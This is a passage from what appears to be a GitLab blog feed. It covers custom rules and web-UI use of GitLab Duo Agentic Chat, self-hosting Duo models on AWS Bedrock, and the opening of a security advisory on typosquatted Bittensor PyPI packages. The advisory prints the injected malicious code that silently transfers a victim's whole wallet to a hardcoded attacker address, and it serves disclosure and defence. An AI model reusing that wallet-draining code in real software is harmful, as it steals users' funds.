- For documentation in Markdown, always use GitLab flavored Markdown.
- Always add correct code block syntax highlighting support.
</code></pre>
<h4>Refactoring and code change requirements</h4>
<p>When a project should gradually be modernized with newly generated code, and not result in large refactors, the following rules can be helpful.</p>
<pre><code class="language-markdown">## Keep the changes minimal

- The project uses &lt;this standard and version&gt;. For newly generated code, use this standard.
- Do not attempt to refactor code already created in a project to this standard, but for new code, always ensure this standard is used.
- If unsure whether a file requires modification or refactoring, document this as a todo task.
- Never fix detected problems, whitespaces, code formatting, unless the user instructs you specifically in a comment.
- The code must be retained in its original format and only changes specific to solving the user request are allowed.

## Summaries

- List all items to address at the bottom in a summary section with TODO: followed by a textual description.
- Identify 3 critical items, and ask the user if you should create GitLab issues from those items.
</code></pre>
<h4>Onboarding, requirements, licenses</h4>
<p>Always include a specific documentation link, and guidelines to follow in chat responses.</p>
<pre><code class="language-markdown">## Link to guidelines
- Always refer to our developer guidelines when answering questions. You can find those guidelines here: https://docs.gitlab.com/development/

## Context and planning
- Always start with finding existing issues with the desired topic. Only then propose new implementation work.

## License
- Always add the MIT license into `LICENSE` and use `GitLab B.V.` as copyright holder.
</code></pre>
<h4>Git flows</h4>
<p>Follow a specific Git branching flow for suggestions and executed commands.</p>
<pre><code class="language-markdown">## Git flows

- Examine the project and involved development environment and programming languages. Always add a `.gitignore`.
- Consider more best practices when bootstrapping a new project.
- For existing projects, offer to add a `.gitignore` when missing, but only when asked about the state of the project, or what is missing.

When a user requests to start with a new feature, always create a new branch, called &quot;feature/&lt;shortname&gt;&quot; and describe the behavior. Ask for the user's approval.
</code></pre>
<h2>Distribution and testing of custom rules</h2>
<p>You can create <a href="https://docs.gitlab.com/administration/custom_project_templates/">GitLab project templates</a> with well-tested custom rule prompts, and ensure that new projects always start with the best practices applied.</p>
<p>Since LLMs and AI agents are not predictable, testing the expected outcome becomes more challenging. A golden rule for custom rules is that they are never perfect, and require iterations based on your team's feedback. This might be required especially when newer models and flows are introduced that change their behavior when responding to custom rules. It's recommended to keep checking on the generated output and adjust the rules accordingly. If you are looking for larger scale testing, review the <a href="https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/">system prompt testing strategy for GitLab Duo</a> as an inspiration.</p>
<h3>Custom rules resources</h3>
<p>Take advantage of the existing AI ecosystem, where similar functionality exists for IDEs and platforms. For example, &quot;Awesome Cursor Rules&quot; repositories or marketplaces for Cursor, etc.</p>
<p>LLMs also provide a good insight into development styleguides, and can generate the required Markdown outputs.</p>
<h2>Fun activity: Explore behavior changes</h2>
<p>Not sure how to get started with custom rules? Make it a fun exercise with the following example :-)</p>
<pre><code class="language-markdown">## Fun rules

- Behave like Clippy.

- Behave like a pirate.

- Always respond with a random &quot;What the commit&quot; message.

- Explain everything like I am five.
</code></pre>
<p>Note: Do not commit them to production, as they might feel disruptive and distracting to your team.</p>
<h2>Conclusion</h2>
<p>By leveraging custom rules in GitLab Duo Agentic Chat, you can significantly influence LLM and AI agent outputs to better suit your needs. Whether enforcing specific coding conventions, using the correct versions of tools, or ensuring consistent formatting, custom rules help streamline your development process and improve productivity.</p>
<p>This blog post provides a deep-dive into many use cases with practical custom rule examples. All recordings are available in <a href="https://www.youtube.com/playlist?list=PL05JrBw4t0Ko7aR6sM8e4uXGYtjs4-NqK">this YouTube playlist</a>, and all demo projects can be forked/cloned from the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules">Custom rules for GitLab Duo Agent Platform (Agentic AI) group</a>.</p>
<p><a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#create-custom-rules">Custom rules in Duo Agentic Chat IDEs</a> are the first iteration and we will cover more GitLab Duo Agent Platform use cases in the future, such as Duo Code Review and custom rules for agents and flows (follow <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/557984">this issue</a>).</p>
<p>There are many more use cases to explore. What are your most efficient rules? Share your rules and feedback in the <a href="https://gitlab.com/groups/gitlab-org/-/epics/16938">product epic</a>.</p>
]]></content>
        <author>
            <name>Michael Friedrich</name>
            <uri>https://about.gitlab.com/blog/authors/michael-friedrich</uri>
        </author>
        <published>2025-08-12T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Get started with GitLab Duo Agentic Chat in the web UI]]></title>
        <id>https://about.gitlab.com/blog/get-started-with-gitlab-duo-agentic-chat-in-the-web-ui/</id>
        <link href="https://about.gitlab.com/blog/get-started-with-gitlab-duo-agentic-chat-in-the-web-ui/"/>
        <updated>2025-08-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In May 2025, GitLab launched an experimental feature called <a href="https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">GitLab Duo
Agentic
Chat</a>.
The goal of Agentic Chat was to build on the success of <a href="https://docs.gitlab.com/user/gitlab_duo_chat/">GitLab Duo
Chat</a>, which is an AI chat
experience built into supported IDEs and in the GitLab UI. While Chat
provides answers and suggestions for developers using the GitLab platform,
Agentic Chat can more directly interact with the GitLab API on behalf of
users, taking actions on their behalf as a result of the conversation.</p>
<p>In addition to being available in a variety of IDEs, Agentic Chat is available directly within the GitLab UI for GitLab users with the Duo Pro or Enterprise add-on. Adding Agentic Chat to the GitLab UI helps make this experience more accessible to all GitLab users and easy to integrate into your workflows. To open Agentic Chat:</p>
<ol>
<li>
<p>Navigate to any Group or Project in your GitLab instance.</p>
</li>
<li>
<p>Look for the GitLab Duo Chat button (typically in the top right corner).</p>
</li>
<li>
<p>Click to open the chat panel.</p>
</li>
<li>
<p>Toggle to <strong>Agentic mode (Beta)</strong> in the chat window.</p>
</li>
</ol>
<p><strong>Pro tip:</strong> Keep the chat panel open as you work — it maintains context and can help you across different pages and projects.</p>
<p>To get familiar with Agentic Chat, ask about the tools it can work with. This is like using the help command for a command-line tool.</p>
<pre><code class="language-offset">What tools do you have access to? 
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754584200/emtgilbzbu8ftkynjozg.png" alt="GitLab Duo Agentic Chat screen"></p>
<p>The output above shows us that Agentic Chat has access to a variety of GitLab APIs and data that will allow it to perform complex tasks across the software development lifecycle.</p>
<h2>Issue management made easy</h2>
<p>GitLab Duo Agentic Chat can help you keep track of issues, find specific ones, understand the status, and take actions based on conversations in these issues. Instead of navigating through pages and pages of issues, you ask Agentic Chat about the issues in a project. It will respond with high-level information about the issues, including the priority, labels, and the status of the issue.</p>
<p>For a specific issue, Agentic Chat will fetch the issue details, provide a concise summary, highlight recent activity, and share the goal of the issue. This is particularly helpful when you need context or updates before a meeting or are researching the issue before picking it up.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1107479358?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agentic Chat UI Issue Management&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<p>&lt;p&gt;&lt;/p&gt;</p>
<p>You can also try more complex queries if you're looking to better understand a project overall. And once you've discovered these issues, you can make changes to them like adding labels, updating milestones, and re-organizing them.</p>
<p>For example, maybe you're looking for all the issues that are database- or performance-related in order to prioritize them in the next sprint. You could task Agentic Chat with the following prompt.</p>
<pre><code class="language-offset">Analyze all issues labeled 'performance' and 'database' - group them by component and show me which ones have had the most discussion activity in the last 30 days.
</code></pre>
<p>Agentic Chat will respond with issues grouped by the backend and frontend component of a project, identify the issues with significant discussion activity, and provide insights on these kinds of issues (e.g., when were most of these issues created or which component issues have more active discussion).</p>
<pre><code class="language-offset">Create an issue template for bug reports that includes:

- Steps to reproduce

- Expected behavior vs actual behavior

- Environment details (browser, OS, GitLab version)

- Severity assessment

- Screenshots/error logs section

Name it &quot;bug_report.md&quot; and format it as a proper GitLab issue template
</code></pre>
<h2>CI/CD support</h2>
<p>This is where GitLab Duo Agentic Chat truly becomes your debugging superhero. We've all been there: a pipeline fails and you have to click through job logs trying to understand what went wrong. Agentic Chat can do more than just explain the failure to you and suggest recommendations. After reviewing the failed pipeline logs, Agentic Chat can suggest a fix and also add the fix to a merge request you are working on.</p>
<p>Let's say you have a merge request adding a new feature, but the pipeline is failing. Instead of clicking through each failed job and trying to piece together what's wrong, you can ask Agentic Chat to investigate.</p>
<p>Agentic Chat will analyze the pipeline, check the job logs, and explain that the tests are failing because of missing test data or configuration issues. But here's where it gets even more powerful — you don't have to stop at understanding the problem. Agentic Chat can also act on the advice it presents and add commits to fix the pipeline in the merge request.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1107495269?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab Agentic Chat CI/CD Fix&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Building complex prompts</h2>
<p>GitLab Duo Agentic Chat can also help you craft your prompts. Let's say that you're running a bug bash with your team and want to triage all possible issues that might be bug reports.</p>
<p>If you use a simple prompt like below, Agentic Chat will come up with ways to find the related issues, such as searching for terms or pattern matching:</p>
<pre><code class="language-offset">I need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as &quot;bug&quot;.
</code></pre>
<p>Often you can use the recommendations in Agentic Chat to build a more in-depth prompt based on what you're looking for:</p>
<pre><code class="language-offset">I need help writing an effective prompt to find all possible bug report issues in my GitLab project, including those that might not be properly labeled as &quot;bug&quot;. Please help me create a prompt that will:


1. Search for common bug-related terminology beyond just the word &quot;bug&quot;

2. Identify patterns that indicate bug reports (like &quot;steps to reproduce&quot;, &quot;expected vs actual behavior&quot;)

3. Find technical issues that might be bugs (errors, crashes, performance problems)

4. Catch user-reported problems that could be bugs but use different language


The prompt should ensure we don't miss any potential bugs regardless of how they're described or labeled. What would be the most effective approach and search strategy for this?
</code></pre>
<p>Once you have the prompt and you're able to search for the issues you're looking for, that's where Agentic Chat really shines. Agentic Chat can triage and update those issues for you to prepare them for the bug bash:</p>
<pre><code class="language-offset">Find and triage all bug-related issues for our bug bash event. Execute these steps:


1. Search for potential bugs using individual searches:
   - Core terms: &quot;bug&quot;, &quot;fix&quot;, &quot;error&quot;, &quot;broken&quot;, &quot;issue&quot;, &quot;problem&quot;, &quot;not working&quot;
   - Bug patterns: &quot;steps to reproduce&quot;, &quot;expected behavior&quot;, &quot;regression&quot;
   - Technical issues: &quot;exception&quot;, &quot;crash&quot;, &quot;console error&quot;, &quot;500 error&quot;, &quot;404 error&quot;
   - Performance: &quot;slow&quot;, &quot;freezes&quot;, &quot;unresponsive&quot;

2. For each issue found:
   - Add the &quot;Event - Bug Bash&quot; label
   - Assign appropriate bug severity label (critical/high/medium/low)
   - Add to the current bug bash milestone
   - If missing &quot;bug&quot; label, add it

3. Create a triage list organized by:
   - Critical bugs (data loss, crashes, security)
   - High priority (blocking features, frequent errors)
   - Medium priority (workarounds available)
   - Low priority (minor UI issues)

Search both open and closed issues. Focus on actionable bugs that can be fixed during the bug bash, excluding enhancement requests. Provide a summary table with issue numbers, titles, and assigned severity for the bug bash team.
</code></pre>
<p>You can ask Agentic Chat to create a bug report template, which increases efficiency and eliminates some manual effort. Also, future bug reports will have the structure and labels you need for more efficient triaging.</p>
<h2>Tips for effective prompting</h2>
<p>When you're working with GitLab Duo Agentic Chat, it's important to phrase your requests with action-oriented verbs like &quot;create,&quot; &quot;update,&quot; &quot;fix,&quot; or &quot;assign.&quot; This will trigger the agentic tools to take action rather than summarize or share information with you. One approach before taking agentic actions can be to request summaries and analyses — the way we did with the issues about bugs. Then, see what gets returned before taking actions like applying a label or adding to a milestone.</p>
<p>It's also important to give clear criteria when asking for bulk operations. Specify exact conditions like &quot;all issues with the 'bug' label created in the last week&quot; or &quot;merge requests waiting for review for more than 3 days.&quot; The more specific you are, the more accurate and helpful the results will be.</p>
<p>Since Agentic Chat has the ability to maintain context, you can chain requests and build on previous requests. After getting an initial set of issues, you might ask &quot;From those issues, which ones are unassigned?&quot; and then follow up with &quot;Assign the high-priority ones to the backend team.&quot; This allows you to refine and act on information iteratively.</p>
<p>We recommend starting with an open-ended request and allowing GitLab Duo to help you look for patterns or similar problems across your project. That will help you catch any problem that you may have missed or understand the scope of the challenge before taking action.</p>
<h2>Get hands-on with GitLab Duo Agentic Chat</h2>
<p>We hope all the ideas above give you some thoughts on getting started with Agentic Chat, but we are even more excited to see all our users' ideas come to life with it. To try the Agentic Chat UI experience in your next project, sign up for a <a href="https://about.gitlab.com/free-trial/">free trial of GitLab Ultimate with Duo Enterprise</a>. You can learn more about GitLab Duo Agentic Chat on our <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/">documentation page</a>, which also details how to enable Agentic Chat in the GitLab UI.</p>
]]></content>
        <author>
            <name>Fatima Sarah Khalid</name>
            <uri>https://about.gitlab.com/blog/authors/fatima-sarah khalid</uri>
        </author>
        <author>
            <name>Daniel Helfand</name>
            <uri>https://about.gitlab.com/blog/authors/daniel-helfand</uri>
        </author>
        <published>2025-08-11T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Own your AI: Self-Hosted GitLab Duo models with AWS Bedrock]]></title>
        <id>https://about.gitlab.com/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/</id>
        <link href="https://about.gitlab.com/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/"/>
        <updated>2025-08-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>As organizations adopt AI capabilities to accelerate their software
development lifecycle, they often face a critical challenge: how to leverage
AI while maintaining control over their data, infrastructure, and security
posture. This is where <a href="https://about.gitlab.com/gitlab-duo/">GitLab Duo
Self-Hosted</a> provides a compelling
solution.</p>
<p>In this article, we'll walk through the implementation of GitLab Duo Self-Hosted models. This comprehensive guide helps organizations needing to meet strict data sovereignty requirements while still leveraging AI-powered development. The focus is on using models hosted on AWS Bedrock rather than setting up an <a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/">LLM</a> serving solution like vLLM. However, the methodology can be applied to models running in your own data center if you have the necessary capabilities.</p>
<h2>Why GitLab Duo Self-Hosted?</h2>
<p>GitLab Duo Self-Hosted allows you to deploy GitLab's AI capabilities entirely within your own infrastructure, whether that's on-premises, in a private cloud, or within your secure environment.</p>
<p>Key benefits include:</p>
<ul>
<li>
<p><strong>Complete Data Privacy and Control:</strong> Keep sensitive code and intellectual property within your security perimeter, ensuring no data leaves your environment.</p>
</li>
<li>
<p><strong>Model Flexibility:</strong> Choose from a variety of models tailored to your specific performance needs and use cases, including Anthropic Claude, Meta Llama, Mistral families, and OpenAI GPT families.</p>
</li>
<li>
<p><strong>Compliance Adherence:</strong> Meet regulatory requirements in highly regulated industries where data must remain within specific geographical boundaries.</p>
</li>
<li>
<p><strong>Customization:</strong> Configure which GitLab Duo features use specific models to optimize performance and cost.</p>
</li>
<li>
<p><strong>Deployment Flexibility:</strong> Deploy in fully air-gapped environments, on-premises, or in secure cloud environments.</p>
</li>
</ul>
<h2>Architecture overview</h2>
<p>The GitLab Duo Self-Hosted solution consists of three core components:</p>
<ol>
<li>
<p><strong>Self-Managed GitLab instance</strong>: Your existing GitLab instance where users interact with GitLab Duo features.</p>
</li>
<li>
<p><strong>AI Gateway</strong>: A service that routes requests between GitLab and your chosen LLM backend.</p>
</li>
<li>
<p><strong>LLM backend</strong>: The actual AI model service, which, in this article, will be AWS Bedrock.</p>
</li>
</ol>
<p><strong>Note:</strong> You can use <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/">another serving platform</a> if you are running on-premises or using another cloud provider.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/jws4h2kakflfrczftypj.png" alt="Air-gapped network flow chart"></p>
<h2>Prerequisites</h2>
<p>Before we begin, you'll need:</p>
<ul>
<li>
<p>A GitLab Premium or Ultimate instance (Version 17.10 or later)</p>
<ul>
<li>We strongly recommend using the latest version of GitLab as we continuously deliver new features.</li>
</ul>
</li>
<li>
<p>A GitLab Duo Enterprise add-on license</p>
</li>
<li>
<p>AWS account with access to Bedrock models <em>or your API key and credentials needed to query your LLM Serving model</em></p>
</li>
</ul>
<p><strong>Note:</strong> If you aren't a GitLab customer yet, you can <a href="https://about.gitlab.com/free-trial/">sign up for a free trial of GitLab Ultimate</a>, which includes GitLab Duo Enterprise.</p>
<h2>Implementation steps</h2>
<p><strong>1. Install the AI Gateway</strong></p>
<p>The AI Gateway is the component that routes requests between your GitLab instance and your LLM serving infrastructure — here that is AWS Bedrock. It can run in a Docker image. Follow the instructions from our <a href="https://docs.gitlab.com/install/install_ai_gateway/">installation documentation</a> to get started.</p>
<p>For this example, using AWS Bedrock, you also must pass the AWS Key ID and Secret Access Key along with the AWS region.</p>
<pre><code class="language-yaml">
AIGW_TAG=self-hosted-v18.1.2-ee`

docker run -d -p 5052:5052 \

  -e AIGW_GITLAB_URL=&lt;your_gitlab_instance&gt; \

  -e AIGW_GITLAB_API_URL=https://&lt;your_gitlab_domain&gt;/api/v4/ \

  -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID

  -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \

  -e AWS_REGION_NAME=$AWS_REGION_NAME \

registry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \

</code></pre>
<p>Here is the <a href="https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/tags"><code>AIGW_TAG</code> list</a>.</p>
<p>In this example we use Docker, but it is also possible to use the Helm chart. Refer to <a href="https://docs.gitlab.com/install/install_ai_gateway/#install-by-using-helm-chart">the installation documentation</a> for more information.</p>
<p><strong>2. Configure GitLab to access the AI Gateway</strong></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/xj9kvljkqsacpsw41k4a.png" alt="Configure GitLab to access the AI Gateway"></p>
<p>Now that the AI gateway is running, you need to configure your GitLab instance to use it.</p>
<ul>
<li>
<p>On the left sidebar, at the bottom, select <strong>Admin</strong>.</p>
</li>
<li>
<p>Select <strong>GitLab Duo</strong>.</p>
</li>
<li>
<p>In the GitLab Duo section, select <strong>Change configuration</strong>.</p>
</li>
<li>
<p>Under Local AI Gateway URL, enter the URL for your AI gateway and port for the container (e.g., <code>https://ai-gateway.example.com:5052</code>).</p>
</li>
<li>
<p>Select <strong>Save changes</strong>.</p>
</li>
</ul>
<p><strong>3. Access models from AWS Bedrock</strong></p>
<p>Next, you will need to request access to the available models on AWS Bedrock.</p>
<ul>
<li>
<p>Navigate to your AWS account and Bedrock.</p>
</li>
<li>
<p>Under <strong>Model access</strong>, select the models you want to use and follow the instructions to gain access.</p>
</li>
</ul>
<p>You can find more information in the <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html">AWS Bedrock documentation</a>.</p>
<p><strong>4. Configure the self-hosted model</strong></p>
<p>Now, let's configure a specific AWS Bedrock model for use with GitLab Duo.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/chrlgdvxwdetcszptsav.png" alt="Add the self-hosted model screen"></p>
<ul>
<li>
<p>On the left sidebar, at the bottom, select <strong>Admin</strong>.</p>
</li>
<li>
<p>Select <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Select <strong>Add self-hosted model</strong>.</p>
</li>
<li>
<p>Fill in the fields:</p>
<ul>
<li><strong>Deployment name</strong>: A name to identify this model configuration (e.g., &quot;Mixtral 8x7B&quot;)</li>
<li><strong>Platform:</strong> Choose AWS Bedrock</li>
<li><strong>Model family:</strong> Select a model, for example here &quot;Mixtral&quot;</li>
<li><strong>Model identifier:</strong> bedrock/<code>model-identifier</code> <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">from the supported list</a>.</li>
</ul>
</li>
<li>
<p>Select <strong>Create self-hosted model</strong>.</p>
</li>
</ul>
<p><strong>5. Configure GitLab Duo features to use your self-hosted model</strong></p>
<p>After configuring the model, assign it to specific GitLab Duo features.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/an2i9s2p9cja2xx27g4z.png" alt="Screen to configure self-hosted model features"></p>
<ul>
<li>
<p>On the left sidebar, at the bottom, select <strong>Admin</strong>.</p>
</li>
<li>
<p>Select <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Select the <strong>AI-powered features</strong> tab.</p>
</li>
<li>
<p>For each feature (e.g., Code Suggestions, GitLab Duo Chat) and sub-feature (e.g., Code Generation, Explain Code), select the model you just configured from the dropdown menu.</p>
</li>
</ul>
<p>For example, you might assign Mixtral 8x7B to Code Generation tasks and Claude 3 Sonnet to the GitLab Duo Chat feature.</p>
<p>Check out the <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">requirements documentation</a> to select the right model for the use case from the models compatibility list per Duo feature.</p>
<h2>Verifying your setup</h2>
<p>To ensure that your GitLab Duo Self-Hosted implementation with AWS Bedrock is working correctly, perform these verification steps:</p>
<p><strong>1. Run the health check</strong></p>
<p>After running the health check of your model to be sure that it’s up and running, Return to the GitLab Duo section from the Admin page and click on <strong>Run health check</strong>. This will verify if:</p>
<ul>
<li>
<p>The AI gateway URL is properly configured.</p>
</li>
<li>
<p>Your instance can connect to the AI gateway.</p>
</li>
<li>
<p>The Duo Licence is activated.</p>
</li>
<li>
<p>A model is assigned to Code Suggestions — <em>as this is the model used to test the connection.</em></p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/yffw21yhjpwummw1ffsw.png" alt="Running the health check"></p>
<p>If the health check reports issues, refer to the <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/troubleshooting/%20%20%20">troubleshooting guide</a> for common errors.</p>
<p><strong>2. Test GitLab Duo features</strong></p>
<p>Try out a few GitLab Duo features to ensure they're working:</p>
<ul>
<li>
<p>In the UI, open GitLab Duo Chat and ask it a question.</p>
</li>
<li>
<p>Open the web IDE</p>
<ul>
<li>Create a new code file and see if Code Suggestions appears.</li>
<li>Select a code snippet and use the <code>/explain</code> command to receive an explanation from Duo Chat.</li>
</ul>
</li>
</ul>
<p><strong>3. Check AI Gateway logs</strong></p>
<p>Review the AI gateway logs to see the requests coming to the gateway from the selected model:</p>
<p>In your terminal, run:</p>
<pre><code class="language-yaml">docker logs &lt;ai-gateway-container-id&gt;
</code></pre>
<p>Optional: In AWS, you can <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html">activate CloudWatch and S3 as log destinations</a>. Doing so would enable you to see all your requests, prompts, and answers in CloudWatch.</p>
<p><strong>Warning:</strong> Keep in mind that activating these logs in AWS logs user data, which may not comply with privacy rules.</p>
<p>And here you have full access to using GitLab Duo's AI features across the platform while retaining complete control over the data flow operating within the secure AWS cloud.</p>
<h2>Next steps</h2>
<h3>Selecting the right model for each use case</h3>
<p>The GitLab team actively tests each model's performance for each feature and provides <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#supported-models">tier ranking of model's performance and suitability depending on the functionality:</a></p>
<ul>
<li>
<p>Fully compatible: The model can likely handle the feature without any loss of quality.</p>
</li>
<li>
<p>Largely compatible: The model supports the feature, but there might be compromises or limitations.</p>
</li>
<li>
<p>Not compatible: The model is unsuitable for the feature, likely resulting in significant quality loss or performance issues.</p>
</li>
</ul>
<p>As of this writing, most GitLab Duo features can be configured with Self Hosted. The complete availability overview is available in the <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/#supported-gitlab-duo-features">documentation</a>.</p>
<h3>Going beyond AWS Bedrock</h3>
<p>While this guide focuses on AWS Bedrock integration, GitLab Duo Self-Hosted supports multiple deployment options:</p>
<ol>
<li>
<p><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#vllm">On-premises with vLLM</a>: Run models locally with vLLM for fully air-gapped environments.</p>
</li>
<li>
<p><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#for-cloud-hosted-model-deployments">Azure OpenAI Service</a>: Similar to AWS Bedrock, you can use Azure OpenAI for models like GPT-4.</p>
</li>
</ol>
<h2>Summary</h2>
<p>GitLab Duo Self-Hosted provides a powerful solution for organizations that need AI-powered development tools while maintaining strict control over their data and infrastructure. By following this implementation guide, you can deploy a robust solution that meets security and compliance requirements without compromising on the advanced capabilities that AI brings to your software development lifecycle.</p>
<p>For organizations with stringent security and compliance needs, GitLab Duo Self-Hosted strikes the perfect balance between innovation and control, allowing you to harness the power of AI while keeping your code and intellectual property secure within your boundaries.</p>
<p>Would you like to learn more about implementing GitLab Duo Self-Hosted in your environment? Please <a href="https://about.gitlab.com/sales/">reach out to a GitLab representative</a> or <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/">visit our documentation</a> for more detailed information.</p>
]]></content>
        <author>
            <name>Chloe Cartron</name>
            <uri>https://about.gitlab.com/blog/authors/chloe-cartron</uri>
        </author>
        <author>
            <name>Olivier Dupré</name>
            <uri>https://about.gitlab.com/blog/authors/olivier-dupré</uri>
        </author>
        <published>2025-08-07T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab uncovers Bittensor theft campaign via PyPI]]></title>
        <id>https://about.gitlab.com/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/</id>
        <link href="https://about.gitlab.com/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.</p>
<p>Our investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.</p>
<p>The identified malicious packages were all published within a 25-minute window on August 6, 2025:</p>
<ul>
<li><code>bitensor@9.9.4</code> (02:52 UTC)</li>
<li><code>bittenso-cli@9.9.4</code> (02:59 UTC)</li>
<li><code>qbittensor@9.9.4</code> (03:02 UTC)</li>
<li><code>bitensor@9.9.5</code> (03:15 UTC)</li>
<li><code>bittenso@9.9.5</code> (03:16 UTC)</li>
</ul>
<p>All packages were designed to mimic the legitimate <code>bittensor</code> and <code>bittensor-cli</code> packages, which are core components of the Bittensor decentralized AI network.</p>
<h2>Technical analysis: How the theft occurs</h2>
<p>Our analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the <code>stake_extrinsic</code> function in <code>bittensor_cli/src/commands/stake/add.py</code>.</p>
<p>Where users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:</p>
<pre><code class="language-python">result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination=&quot;5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR&quot;,
  amount=amount,
  transfer_all=True,
  prompt=False
)
</code></pre>
<p>This malicious injection completely subverts the staking process:</p>
<ul>
<li><strong>Silent execution:</strong> Uses <code>prompt=False</code> to bypass user confirmation</li>
<li><strong>Complete wallet drain:</strong> Sets <code>transfer_all=True</code> to steal all available funds, not just the staking amount</li>
<li><strong>Hardcoded destination:</strong> Routes all funds to the attacker's wallet address</li>
<li><strong>Hidden in plain sight:</strong> Executes during what appears to be a normal staking operation</li>
</ul>
<p>The attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.</p>
<h3>Why target staking functionality?</h3>
<p>The attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, <strong>staking</strong> is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.</p>
<p>This makes staking an ideal attack vector:</p>
<ol>
<li><strong>High-value targets:</strong> Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.</li>
<li><strong>Required wallet access:</strong> Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.</li>
<li><strong>Expected network activity:</strong> Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.</li>
<li><strong>Routine operations:</strong> Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.</li>
<li><strong>Delayed detection:</strong> Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.</li>
</ol>
<p>By hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.</p>
<h2>Following the money</h2>
<p>GitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> served as a central collection point before funds were distributed through a network of intermediary wallets.</p>
<h3>The money laundering network</h3>
<p>Our analysis revealed a multi-hop laundering scheme:</p>
<ol>
